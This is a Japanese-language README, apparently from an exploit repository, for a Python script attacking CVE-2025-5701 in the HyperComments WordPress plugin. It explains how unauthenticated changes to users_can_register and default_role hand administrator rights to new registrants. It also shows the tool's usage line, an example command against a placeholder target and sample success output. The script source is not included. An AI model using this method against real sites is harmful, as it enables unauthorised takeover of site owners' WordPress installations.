CVE-2025-5701 - 未認証の権限昇格エクスプロイト

重要度: CRITICAL (CVSS 9.8)
影響を受けるプラグイン: HyperComments for WordPress
影響を受けるバージョン: ≤ 1.2.2

📌 脆弱性の概要

WordPress 用の HyperComments プラグインは、hc_request_handler 関数で権限チェックが欠如しているため、WordPress のオプションを不正に変更される脆弱性があります。これにより、未認証の攻撃者が 任意の WordPress オプション を更新できます。例:

ユーザー登録の有効化 (users_can_register)
新規登録ユーザーに割り当てられるデフォルトロールの変更 (default_role)

これらを組み合わせることで、攻撃者はユーザー登録を有効にし、新規ユーザーが自動的に Administrator ロールを付与されるようにできます。

🧨 CVSS スコア

CVSS v3.1: 9.8 CRITICAL  
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

📦 使用方法

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

usage: CVE-2025-5701.py [-h] -u URL

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target base URL (e.g., http://target-site.com)

📦 例

python3 CVE-2025-5701.py -u http://target-site.com

💬 出力例

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

[+] Target is vulnerable (version: 1.2.2) - proceeding with exploitation.
[+] Exploit endpoint is accessible.
[+] Server response: {"result":"success"}
[+] Registration is now enabled. New users will be assigned administrator role.
[+] Register here: http://target-site.com/wp-login.php?action=register

Exploit by: Khaled Alenazi (Nxploited)

⚠️ 免責事項

このスクリプトは教育目的のみで提供されています。許可のないシステムへの不正アクセスは違法かつ非倫理的です。管理された環境、または明示的な許可を得た場合にのみ使用してください。

Nxploited (Khaled_alenazi)

CVE-2025-5701

人気